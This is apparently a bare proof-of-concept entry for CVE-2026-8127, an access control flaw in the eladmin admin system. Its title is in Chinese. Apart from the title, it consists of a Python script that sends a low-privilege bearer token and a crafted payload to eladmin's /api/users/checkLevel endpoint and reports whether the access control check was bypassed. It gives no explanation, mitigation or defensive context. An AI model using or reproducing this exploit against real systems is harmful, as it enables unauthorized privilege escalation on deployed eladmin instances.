CVE-2026-8127 eladmin访问控制失效漏洞

import requests # Target URL target_url = "http://target-eladmin-domain/api/users/checkLevel" # Attacker's low-privilege token auth_token = "eyJhbGciOiJIUzUxMiJ9..." headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload attempting to access restricted function payload = { "level": 1, "userId": 1 } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Access control bypassed.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")